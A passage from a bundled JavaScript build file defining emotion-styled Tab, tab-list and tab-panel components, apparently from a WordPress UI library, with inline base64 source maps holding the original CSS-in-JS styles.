HJlbGF0aXZlO1xuXHQmOjpiZWZvcmUge1xuXHRcdGNvbnRlbnQ6ICcnO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHR0cmFuc2Zvcm0tb3JpZ2luOiB2YXIoIC0tZGlyZWN0aW9uLXN0YXJ0ICkgdG9wO1xuXG5cdFx0Ly8gV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUuXG5cdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdG91dGxpbmUtb2Zmc2V0OiAtMXB4O1xuXHR9XG5cblx0LyogVXNpbmcgYSBsYXJnZSB2YWx1ZSB0byBhdm9pZCBhbnRpYWxpYXNpbmcgcm91bmRpbmcgaXNzdWVzXG5cdFx0XHR3aGVuIHNjYWxpbmcgaW4gdGhlIHRyYW5zZm9ybSwgc2VlOiBodHRwczovL3N0YWNrb3ZlcmZsb3cuY29tL2EvNTIxNTkxMjMgKi9cblx0LS1hbnRpYWxpYXNpbmctZmFjdG9yOiAxMDA7XG5cdCZbYXJpYS1vcmllbnRhdGlvbj0naG9yaXpvbnRhbCddIHtcblx0XHQtLWZhZGUtd2lkdGg6IDY0cHg7XG5cdFx0LS1mYWRlLWdyYWRpZW50LWJhc2U6IHRyYW5zcGFyZW50IDAlLCBibGFjayB2YXIoIC0tZmFkZS13aWR0aCApO1xuXHRcdC0tZmFkZS1ncmFkaWVudC1jb21wb3NlZDogdmFyKCAtLWZhZGUtZ3JhZGllbnQtYmFzZSApLCBibGFjayA2MCUsXG5cdFx0XHR0cmFuc3BhcmVudCA1MCU7XG5cdFx0Ji5pcy1vdmVyZmxvd2luZy1maXJzdCB7XG5cdFx0XHRtYXNrLWltYWdlOiBsaW5lYXItZ3JhZGllbnQoXG5cdFx0XHRcdHRvIHZhciggLS1kaXJlY3Rpb24tZW5kICksXG5cdFx0XHRcdHZhciggLS1mYWRlLWdyYWRpZW50LWJhc2UgKVxuXHRcdFx0KTtcblx0XHR9XG5cdFx0Ji5pcy1vdmVyZmxvd2luZy1sYXN0IHtcblx0XHRcdG1hc2staW1hZ2U6IGxpbmVhci1ncmFkaWVudChcblx0XHRcdFx0dG8gdmFyKCAtLWRpcmVjdGlvbi1zdGFydCApLFxuXHRcdFx0XHR2YXIoIC0tZmFkZS1ncmFkaWVudC1iYXNlIClcblx0XHRcdCk7XG5cdFx0fVxuXHRcdCYuaXMtb3ZlcmZsb3dpbmctZmlyc3QuaXMtb3ZlcmZsb3dpbmctbGFzdCB7XG5cdFx0XHRtYXNrLWltYWdlOiBsaW5lYXItZ3JhZGllbnQoXG5cdFx0XHRcdFx0dG8gcmlnaHQsXG5cdFx0XHRcdFx0dmFyKCAtLWZhZGUtZ3JhZGllbnQtY29tcG9zZWQgKVxuXHRcdFx0XHQpLFxuXHRcdFx0XHRsaW5lYXItZ3JhZGllbnQoIHRvIGxlZnQsIHZhciggLS1mYWRlLWdyYWRpZW50LWNvbXBvc2VkICkgKTtcblx0XHR9XG5cblx0XHQmOjpiZWZvcmUge1xuXHRcdFx0Ym90dG9tOiAwO1xuXHRcdFx0aGVpZ2h0OiAwO1xuXHRcdFx0d2lkdGg6IGNhbGMoIHZhciggLS1hbnRpYWxpYXNpbmctZmFjdG9yICkgKiAxcHggKTtcblx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWChcblx0XHRcdFx0XHRjYWxjKFxuXHRcdFx0XHRcdFx0dmFyKCAtLXNlbGVjdGVkLXN0YXJ0ICkgKiB2YXIoIC0tZGlyZWN0aW9uLWZhY3RvciApICpcblx0XHRcdFx0XHRcdFx0MXB4XG5cdFx0XHRcdFx0KVxuXHRcdFx0XHQpXG5cdFx0XHRcdHNjYWxlWChcblx0XHRcdFx0XHRjYWxjKFxuXHRcdFx0XHRcdFx0dmFyKCAtLXNlbGVjdGVkLXdpZHRoLCAwICkgL1xuXHRcdFx0XHRcdFx0XHR2YXIoIC0tYW50aWFsaWFzaW5nLWZhY3RvciApXG5cdFx0XHRcdFx0KVxuXHRcdFx0XHQpO1xuXHRcdFx0Ym9yZGVyLWJvdHRvbTogdmFyKCAtLXdwLWFkbWluLWJvcmRlci13aWR0aC1mb2N1cyApIHNvbGlkXG5cdFx0XHRcdCR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHR9XG5cdH1cblx0JlthcmlhLW9yaWVudGF0aW9uPSd2ZXJ0aWNhbCddIHtcblx0XHQmOjpiZWZvcmUge1xuXHRcdFx0LyogQWRqdXN0aW5nIHRoZSBib3JkZXIgcmFkaXVzIHRvIG1hdGNoIHRoZSBzY2FsaW5nIGluIHRoZSB5IGF4aXMuICovXG5cdFx0XHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfSAvXG5cdFx0XHRcdGNhbGMoXG5cdFx0XHRcdFx0JHsgQ09ORklHLnJhZGl1c1NtYWxsIH0gL1xuXHRcdFx0XHRcdFx0KFxuXHRcdFx0XHRcdFx0XHR2YXIoIC0tc2VsZWN0ZWQtaGVpZ2h0LCAwICkgL1xuXHRcdFx0XHRcdFx0XHRcdHZhciggLS1hbnRpYWxpYXNpbmctZmFjdG9yIClcblx0XHRcdFx0XHRcdClcblx0XHRcdFx0KTtcblx0XHRcdHRvcDogMDtcblx0XHRcdGxlZnQ6IDA7XG5cdFx0XHR3aWR0aDogMTAwJTtcblx0XHRcdGhlaWdodDogY2FsYyggdmFyKCAtLWFudGlhbGlhc2luZy1mYWN0b3IgKSAqIDFweCApO1xuXHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKCBjYWxjKCB2YXIoIC0tc2VsZWN0ZWQtdG9wLCAwICkgKiAxcHggKSApXG5cdFx0XHRcdHNjYWxlWShcblx0XHRcdFx0XHRjYWxjKFxuXHRcdFx0XHRcdFx0dmFyKCAtLXNlbGVjdGVkLWhlaWdodCwgMCApIC9cblx0XHRcdFx0XHRcdFx0dmFyKCAtLWFudGlhbGlhc2luZy1mYWN0b3IgKVxuXHRcdFx0XHRcdClcblx0XHRcdFx0KTtcblx0XHRcdGJhY2tncm91bmQtY29sb3I6IGNvbG9yLW1peChcblx0XHRcdFx0aW4gc3JnYixcblx0XHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9LFxuXHRcdFx0XHR0cmFuc3BhcmVudCA5NiVcblx0XHRcdCk7XG5cdFx0fVxuXHRcdCZbZGF0YS1zZWxlY3Qtb24tbW92ZT0ndHJ1ZSddOmhhcyhcblx0XHRcdFx0OmlzKCA6Zm9jdXMtdmlzaWJsZSwgW2RhdGEtZm9jdXMtdmlzaWJsZV0gKVxuXHRcdFx0KTo6YmVmb3JlIHtcblx0XHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0XHRib3JkZXI6IHZhciggLS13cC1hZG1pbi1ib3JkZXItd2lkdGgtZm9jdXMgKSBzb2xpZFxuXHRcdFx0XHQkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHQvKiBBZGp1c3RpbmcgdGhlIGJvcmRlciB3aWR0aCB0byBtYXRjaCB0aGUgc2NhbGluZyBpbiB0aGUgeSBheGlzLiAqL1xuXHRcdFx0Ym9yZGVyLWJsb2NrLXdpZHRoOiBjYWxjKFxuXHRcdFx0XHR2YXIoIC0td3AtYWRtaW4tYm9yZGVyLXdpZHRoLWZvY3VzLCAxcHggKSAvXG5cdFx0XHRcdFx0KFxuXHRcdFx0XHRcdFx0dmFyKCAtLXNlbGVjdGVkLWhlaWdodCwgMCApIC9cblx0XHRcdFx0XHRcdFx0dmFyKCAtLWFudGlhbGlhc2luZy1mYWN0b3IgKVxuXHRcdFx0XHRcdClcblx0XHRcdCk7XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgVGFiID0gc3R5bGVkKCBBcmlha2l0LlRhYiApYFxuXHQmIHtcblx0XHQvKiBSZXNldHMgKi9cblx0XHRib3JkZXItcmFkaXVzOiAwO1xuXHRcdGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRib3gtc2hhZG93OiBub25lO1xuXG5cdFx0ZmxleDogMSAwIGF1dG87XG5cdFx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdFx0Y3Vyc29yOiBwb2ludGVyO1xuXHRcdGxpbmUtaGVpZ2h0OiAxLjI7IC8vIENoYXJhY3RlcnMgaW4gc29tZSBsYW5ndWFnZXMgKGUuZy4gSmFwYW5lc2UpIG1heSBoYXZlIGEgbmF0aXZlIGhpZ2hlciBsaW5lLWhlaWdodC5cblx0XHRmb250LWZhbWlseTogJHsgZm9udCggJ2RlZmF1bHQuZm9udEZhbWlseScgKSB9O1xuXHRcdGZvbnQtd2VpZ2h0OiA0MDA7XG5cdFx0Zm9udC1zaXplOiAkeyBmb250KCAnZGVmYXVsdC5mb250U2l6ZScgKSB9O1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZCB9O1xuXG5cdFx0JlthcmlhLWRpc2FibGVkPSd0cnVlJ10ge1xuXHRcdFx0Y3Vyc29yOiBkZWZhdWx0O1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy51aS50ZXh0RGlzYWJsZWQgfTtcblx0XHR9XG5cblx0XHQmOm5vdCggW2FyaWEtZGlzYWJsZWQ9J3RydWUnXSApOmlzKCA6aG92ZXIsIFtkYXRhLWZvY3VzLXZpc2libGVdICkge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHR9XG5cblx0XHQmOmZvY3VzOm5vdCggOmRpc2FibGVkICkge1xuXHRcdFx0Ym94LXNoYWRvdzogbm9uZTtcblx0XHRcdG91dGxpbmU6IG5vbmU7XG5cdFx0fVxuXG5cdFx0Ly8gRm9jdXMgaW5kaWNhdG9yLlxuXHRcdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0XHQmOjphZnRlciB7XG5cdFx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblxuXHRcdFx0Ly8gRHJhdyB0aGUgaW5kaWNhdG9yLlxuXHRcdFx0Ly8gT3V0bGluZSB3b3JrcyBmb3IgV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUgYXMgd2VsbC5cblx0XHRcdG91dGxpbmU6IHZhciggLS13cC1hZG1pbi1ib3JkZXItd2lkdGgtZm9jdXMgKSBzb2xpZFxuXHRcdFx0XHQkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblxuXHRcdFx0Ly8gQW5pbWF0aW9uXG5cdFx0XHRvcGFjaXR5OiAwO1xuXG5cdFx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdFx0dHJhbnNpdGlvbjogb3BhY2l0eSAwLjFzIGxpbmVhcjtcblx0XHRcdH1cblx0XHR9XG5cblx0XHQmW2RhdGEtZm9jdXMtdmlzaWJsZV06OmFmdGVyIHtcblx0XHRcdG9wYWNpdHk6IDE7XG5cdFx0fVxuXHR9XG5cblx0W2FyaWEtb3JpZW50YXRpb249J2hvcml6b250YWwnXSAmIHtcblx0XHRwYWRkaW5nLWlubGluZTogJHsgc3BhY2UoIDQgKSB9O1xuXHRcdGhlaWdodDogJHsgc3BhY2UoIDEyICkgfTtcblx0XHRzY3JvbGwtbWFyZ2luOiAyNHB4O1xuXG5cdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0Y29udGVudDogJyc7XG5cdFx0XHRpbnNldDogJHsgc3BhY2UoIDMgKSB9O1xuXHRcdH1cblx0fVxuXG5cdFthcmlhLW9yaWVudGF0aW9uPSd2ZXJ0aWNhbCddICYge1xuXHRcdHBhZGRpbmc6ICR7IHNwYWNlKCAyICkgfSAkeyBzcGFjZSggMyApIH07XG5cdFx0bWluLWhlaWdodDogJHsgc3BhY2UoIDEwICkgfTtcblxuXHRcdCZbYXJpYS1zZWxlY3RlZD0ndHJ1ZSddIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHRmaWxsOiBjdXJyZW50Q29sb3I7XG5cdFx0fVxuXHR9XG5cdFthcmlhLW9yaWVudGF0aW9uPSd2ZXJ0aWNhbCddW2RhdGEtc2VsZWN0LW9uLW1vdmU9J2ZhbHNlJ10gJjo6YWZ0ZXIge1xuXHRcdGNvbnRlbnQ6ICcnO1xuXHRcdGluc2V0OiB2YXIoIC0td3AtYWRtaW4tYm9yZGVyLXdpZHRoLWZvY3VzICk7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUYWJDaGlsZHJlbiA9IHN0eWxlZC5zcGFuYFxuXHRmbGV4LWdyb3c6IDE7XG5cblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblxuXHRbYXJpYS1vcmllbnRhdGlvbj0naG9yaXpvbnRhbCddICYge1xuXHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHR9XG5cdFthcmlhLW9yaWVudGF0aW9uPSd2ZXJ0aWNhbCddICYge1xuXHRcdGp1c3RpZnktY29udGVudDogc3RhcnQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBUYWJDaGV2cm9uID0gc3R5bGVkKCBJY29uIClgXG5cdGZsZXgtc2hyaW5rOiAwO1xuXHRtYXJnaW4taW5saW5lLWVuZDogJHsgc3BhY2UoIC0xICkgfTtcblx0W2FyaWEtb3JpZW50YXRpb249J2hvcml6b250YWwnXSAmIHtcblx0XHRkaXNwbGF5OiBub25lO1xuXHR9XG5cdG9wYWNpdHk6IDA7XG5cdFtyb2xlPSd0YWInXTppcyggW2FyaWEtc2VsZWN0ZWQ9J3RydWUnXSwgW2RhdGEtZm9jdXMtdmlzaWJsZV0sIDpob3ZlciApICYge1xuXHRcdG9wYWNpdHk6IDE7XG5cdH1cblx0Ly8gVGhlIGNoZXZyb24gaXMgdHJhbnNpdGlvbmVkIGludG8gZXhpc3RlbmNlIHdoZW4gc2VsZWN0T25Nb3ZlIGlzIGVuYWJsZWQsXG5cdC8vIGJlY2F1c2Ugb3RoZXJ3aXNlIGl0IGxvb2tzIGphcnJpbmcsIGFzIGl0IHNob3dzIHVwIG91dHNpZGUgb2YgdGhlIGZvY3VzXG5cdC8vIGluZGljYXRvciB0aGF0J3MgYmVpbmcgYW5pbWF0ZWQgYXQgdGhlIHNhbWUgdGltZS5cblx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0W2RhdGEtc2VsZWN0LW9uLW1vdmU9J3RydWUnXVxuXHRcdFx0W3JvbGU9J3RhYiddOmlzKCBbYXJpYS1zZWxlY3RlZD0ndHJ1ZSddLCAgKVxuXHRcdFx0JiB7XG5cdFx0XHR0cmFuc2l0aW9uOiBvcGFjaXR5IDAuMTVzIDAuMTVzIGxpbmVhcjtcblx0XHR9XG5cdH1cblx0JjpkaXIoIHJ0bCApIHtcblx0XHRyb3RhdGU6IDE4MGRlZztcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFRhYlBhbmVsID0gc3R5bGVkKCBBcmlha2l0LlRhYlBhbmVsIClgXG5cdCY6Zm9jdXMge1xuXHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0b3V0bGluZTogbm9uZTtcblx0fVxuXG5cdCZbZGF0YS1mb2N1cy12aXNpYmxlXSB7XG5cdFx0Ym94LXNoYWRvdzogMCAwIDAgdmFyKCAtLXdwLWFkbWluLWJvcmRlci13aWR0aC1mb2N1cyApXG5cdFx0XHQkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0Ly8gV2luZG93cyBoaWdoIGNvbnRyYXN0IG1vZGUuXG5cdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdG91dGxpbmUtb2Zmc2V0OiAwO1xuXHR9XG5gO1xuIl19 */"));
50904 var Tab22 = /* @__PURE__ */ createStyled(Tab, false ? {
50905 target: "enfox0g3"
50906 } : {
50907 target: "enfox0g3",
50908 label: "Tab"
50909 })("&{border-radius:0;background:transparent;border:none;box-shadow:none;flex:1 0 auto;white-space:nowrap;display:flex;align-items:center;cursor:pointer;line-height:1.2;font-family:", font("default.fontFamily"), ";font-weight:400;font-size:", font("default.fontSize"), ";color:", COLORS.theme.foreground, ";position:relative;&[aria-disabled='true']{cursor:default;color:", COLORS.ui.textDisabled, ";}&:not( [aria-disabled='true'] ):is( :hover, [data-focus-visible] ){color:", COLORS.theme.accent, ";}&:focus:not( :disabled ){box-shadow:none;outline:none;}&::after{position:absolute;pointer-events:none;outline:var( --wp-admin-border-width-focus ) solid ", COLORS.theme.accent, ";border-radius:", config_values_default.radiusSmall, ";opacity:0;@media not ( prefers-reduced-motion ){transition:opacity 0.1s linear;}}&[data-focus-visible]::after{opacity:1;}}[aria-orientation='horizontal'] &{padding-inline:", space(4), ";height:", space(12), ";scroll-margin:24px;&::after{content:'';inset:", space(3), ";}}[aria-orientation='vertical'] &{padding:", space(2), " ", space(3), ";min-height:", space(10), ";&[aria-selected='true']{color:", COLORS.theme.accent, ";fill:currentColor;}}[aria-orientation='vertical'][data-select-on-move='false'] &::after{content:'';inset:var( --wp-admin-border-width-focus );}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFzSndDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCAqIGFzIEFyaWFraXQgZnJvbSAnQGFyaWFraXQvcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgZm9udCB9IGZyb20gJy4uL3V0aWxzJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuaW1wb3J0IEljb24gZnJvbSAnLi4vaWNvbic7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRUYWJMaXN0ID0gc3R5bGVkKCBBcmlha2l0LlRhYkxpc3QgKWBcblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IHN0cmV0Y2g7XG5cdG92ZXJmbG93LXg6IGF1dG87XG5cblx0JlthcmlhLW9yaWVudGF0aW9uPSd2ZXJ0aWNhbCddIHtcblx0XHRmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuXHR9XG5cblx0OndoZXJlKCBbYXJpYS1vcmllbnRhdGlvbj0naG9yaXpvbnRhbCddICkge1xuXHRcdHdpZHRoOiBmaXQtY29udGVudDtcblx0fVxuXG5cdC0tZGlyZWN0aW9uLWZhY3RvcjogMTtcblx0LS1kaXJlY3Rpb24tc3RhcnQ6IGxlZnQ7XG5cdC0tZGlyZWN0aW9uLWVuZDogcmlnaHQ7XG5cdC0tc2VsZWN0ZWQtc3RhcnQ6IHZhciggLS1zZWxlY3RlZC1sZWZ0LCAwICk7XG5cdCY6ZGlyKCBydGwgKSB7XG5cdFx0LS1kaXJlY3Rpb24tZmFjdG9yOiAtMTtcblx0XHQtLWRpcmVjdGlvbi1zdGFydDogcmlnaHQ7XG5cdFx0LS1kaXJlY3Rpb24tZW5kOiBsZWZ0O1xuXHRcdC0tc2VsZWN0ZWQtc3RhcnQ6IHZhciggLS1zZWxlY3RlZC1yaWdodCwgMCApO1xuXHR9XG5cblx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0JltkYXRhLWluZGljYXRvci1hbmltYXRlZF06OmJlZm9yZSB7XG5cdFx0XHR0cmFuc2l0aW9uLXByb3BlcnR5OiB0cmFuc2Zvcm0sIGJvcmRlci1yYWRpdXMsIGJvcmRlci1ibG9jaztcblx0XHRcdHRyYW5zaXRpb24tZHVyYXRpb246IDAuMnM7XG5cdFx0XHR0cmFuc2l0aW9uLXRpbWluZy1mdW5jdGlvbjogZWFzZS1vdXQ7XG5cdFx0fVxuXHR9XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0Jjo6YmVmb3JlIHtcblx0XHRjb250ZW50OiAnJztcblx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0dHJhbnNmb3JtLW9yaWdpbjogdmFyKCAtLWRpcmVjdGlvbi1zdGFydCApIHRvcDtcblxuXHRcdC8vIFdpbmRvd3MgaGlnaCBjb250cmFzdCBtb2RlLlxuXHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRvdXRsaW5lLW9mZnNldDogLTFweDtcblx0fVxuXG5cdC8qIFVzaW5nIGEgbGFyZ2UgdmFsdWUgdG8gYXZvaWQgYW50aWFsaWFzaW5nIHJvdW5kaW5nIGlzc3Vlc1xuXHRcdFx0d2hlbiBzY2FsaW5nIGluIHRoZSB0cmFuc2Zvcm0sIHNlZTogaHR0cHM6Ly9zdGFja292ZXJmbG93LmNvbS9hLzUyMTU5MTIzICovXG5cdC0tYW50aWFsaWFzaW5nLWZhY3RvcjogMTAwO1xuXHQmW2FyaWEtb3JpZW50YXRpb249J2hvcml6b250YWwnXSB7XG5cdFx0LS1mYWRlLXdpZHRoOiA2NHB4O1xuXHRcdC0tZmFkZS1ncmFkaWVudC1iYXNlOiB0cmFuc3BhcmVudCAwJSwgYmxhY2sgdmFyKCAtLWZhZGUtd2lkdGggKTtcblx0XHQtLWZhZGUtZ3JhZGllbnQtY29tcG9zZWQ6IHZhciggLS1mYWRlLWdyYWRpZW50LWJhc2UgKSwgYmxhY2sgNjAlLFxuXHRcdFx0dHJhbnNwYXJlbnQgNTAlO1xuXHRcdCYuaXMtb3ZlcmZsb3dpbmctZmlyc3Qge1xuXHRcdFx0bWFzay1pbWFnZTogbGluZWFyLWdyYWRpZW50KFxuXHRcdFx0XHR0byB2YXIoIC0tZGlyZWN0aW9uLWVuZCApLFxuXHRcdFx0XHR2YXIoIC0tZmFkZS1ncmFkaWVudC1iYXNlIClcblx0XHRcdCk7XG5cdFx0fVxuXHRcdCYuaXMtb3ZlcmZsb3dpbmctbGFzdCB7XG5cdFx0XHRtYXNrLWltYWdlOiBsaW5lYXItZ3JhZGllbnQoXG5cdFx0XHRcdHRvIHZhciggLS1kaXJlY3Rpb24tc3RhcnQgKSxcblx0XHRcdFx0dmFyKCAtLWZhZGUtZ3JhZGllbnQtYmFzZSApXG5cdFx0XHQpO1xuXHRcdH1cblx0XHQmLmlzLW92ZXJmbG93aW5nLWZpcnN0LmlzLW92ZXJmbG93aW5nLWxhc3Qge1xuXHRcdFx0bWFzay1pbWFnZTogbGluZWFyLWdyYWRpZW50KFxuXHRcdFx0XHRcdHRvIHJpZ2h0LFxuXHRcdFx0XHRcdHZhciggLS1mYWRlLWdyYWRpZW50LWNvbXBvc2VkIClcblx0XHRcdFx0KSxcblx0XHRcdFx0bGluZWFyLWdyYWRpZW50KCB0byBsZWZ0LCB2YXIoIC0tZmFkZS1ncmFkaWVudC1jb21wb3NlZCApICk7XG5cdFx0fVxuXG5cdFx0Jjo6YmVmb3JlIHtcblx0XHRcdGJvdHRvbTogMDtcblx0XHRcdGhlaWdodDogMDtcblx0XHRcdHdpZHRoOiBjYWxjKCB2YXIoIC0tYW50aWFsaWFzaW5nLWZhY3RvciApICogMXB4ICk7XG5cdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoXG5cdFx0XHRcdFx0Y2FsYyhcblx0XHRcdFx0XHRcdHZhciggLS1zZWxlY3RlZC1zdGFydCApICogdmFyKCAtLWRpcmVjdGlvbi1mYWN0b3IgKSAqXG5cdFx0XHRcdFx0XHRcdDFweFxuXHRcdFx0XHRcdClcblx0XHRcdFx0KVxuXHRcdFx0XHRzY2FsZVgoXG5cdFx0XHRcdFx0Y2FsYyhcblx0XHRcdFx0XHRcdHZhciggLS1zZWxlY3RlZC13aWR0aCwgMCApIC9cblx0XHRcdFx0XHRcdFx0dmFyKCAtLWFudGlhbGlhc2luZy1mYWN0b3IgKVxuXHRcdFx0XHRcdClcblx0XHRcdFx0KTtcblx0XHRcdGJvcmRlci1ib3R0b206IHZhciggLS13cC1hZG1pbi1ib3JkZXItd2lkdGgtZm9jdXMgKSBzb2xpZFxuXHRcdFx0XHQkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0fVxuXHR9XG5cdCZbYXJpYS1vcmllbnRhdGlvbj0ndmVydGljYWwnXSB7XG5cdFx0Jjo6YmVmb3JlIHtcblx0XHRcdC8qIEFkanVzdGluZyB0aGUgYm9yZGVyIHJhZGl1cyB0byBtYXRjaCB0aGUgc2NhbGluZyBpbiB0aGUgeSBheGlzLiAqL1xuXHRcdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH0gL1xuXHRcdFx0XHRjYWxjKFxuXHRcdFx0XHRcdCR7IENPTkZJRy5yYWRpdXNTbWFsbCB9IC9cblx0XHRcdFx0XHRcdChcblx0XHRcdFx0XHRcdFx0dmFyKCAtLXNlbGVjdGVkLWhlaWdodCwgMCApIC9cblx0XHRcdFx0XHRcdFx0XHR2YXIoIC0tYW50aWFsaWFzaW5nLWZhY3RvciApXG5cdFx0XHRcdFx0XHQpXG5cdFx0XHRcdCk7XG5cdFx0XHR0b3A6IDA7XG5cdFx0XHRsZWZ0OiAwO1xuXHRcdFx0d2lkdGg6IDEwMCU7XG5cdFx0XHRoZWlnaHQ6IGNhbGMoIHZhciggLS1hbnRpYWxpYXNpbmctZmFjdG9yICkgKiAxcHggKTtcblx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSggY2FsYyggdmFyKCAtLXNlbGVjdGVkLXRvcCwgMCApICogMXB4ICkgKVxuXHRcdFx0XHRzY2FsZVkoXG5cdFx0XHRcdFx0Y2FsYyhcblx0XHRcdFx0XHRcdHZhciggLS1zZWxlY3RlZC1oZWlnaHQsIDAgKSAvXG5cdFx0XHRcdFx0XHRcdHZhciggLS1hbnRpYWxpYXNpbmctZmFjdG9yIClcblx0XHRcdFx0XHQpXG5cdFx0XHRcdCk7XG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvci1taXgoXG5cdFx0XHRcdGluIHNyZ2IsXG5cdFx0XHRcdCR7IENPTE9SUy50aGVtZS5hY2NlbnQgfSxcblx0XHRcdFx0dHJhbnNwYXJlbnQgOTYlXG5cdFx0XHQpO1xuXHRcdH1cblx0XHQmW2RhdGEtc2VsZWN0LW9uLW1vdmU9J3RydWUnXTpoYXMoXG5cdFx0XHRcdDppcyggOmZvY3VzLXZpc2libGUsIFtkYXRhLWZvY3VzLXZpc2libGVdIClcblx0XHRcdCk6OmJlZm9yZSB7XG5cdFx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdFx0Ym9yZGVyOiB2YXIoIC0td3AtYWRtaW4tYm9yZGVyLXdpZHRoLWZvY3VzICkgc29saWRcblx0XHRcdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdFx0LyogQWRqdXN0aW5nIHRoZSBib3JkZXIgd2lkdGggdG8gbWF0Y2ggdGhlIHNjYWxpbmcgaW4gdGhlIHkgYXhpcy4gKi9cblx0XHRcdGJvcmRlci1ibG9jay13aWR0aDogY2FsYyhcblx0XHRcdFx0dmFyKCAtLXdwLWFkbWluLWJvcmRlci13aWR0aC1mb2N1cywgMXB4ICkgL1xuXHRcdFx0XHRcdChcblx0XHRcdFx0XHRcdHZhciggLS1zZWxlY3RlZC1oZWlnaHQsIDAgKSAvXG5cdFx0XHRcdFx0XHRcdHZhciggLS1hbnRpYWxpYXNpbmctZmFjdG9yIClcblx0XHRcdFx0XHQpXG5cdFx0XHQpO1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFRhYiA9IHN0eWxlZCggQXJpYWtpdC5UYWIgKWBcblx0JiB7XG5cdFx0LyogUmVzZXRzICovXG5cdFx0Ym9yZGVyLXJhZGl1czogMDtcblx0XHRiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcblx0XHRib3JkZXI6IG5vbmU7XG5cdFx0Ym94LXNoYWRvdzogbm9uZTtcblxuXHRcdGZsZXg6IDEgMCBhdXRvO1xuXHRcdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdGN1cnNvcjogcG9pbnRlcjtcblx0XHRsaW5lLWhlaWdodDogMS4yOyAvLyBDaGFyYWN0ZXJzIGluIHNvbWUgbGFuZ3VhZ2VzIChlLmcuIEphcGFuZXNlKSBtYXkgaGF2ZSBhIG5hdGl2ZSBoaWdoZXIgbGluZS1oZWlnaHQuXG5cdFx0Zm9udC1mYW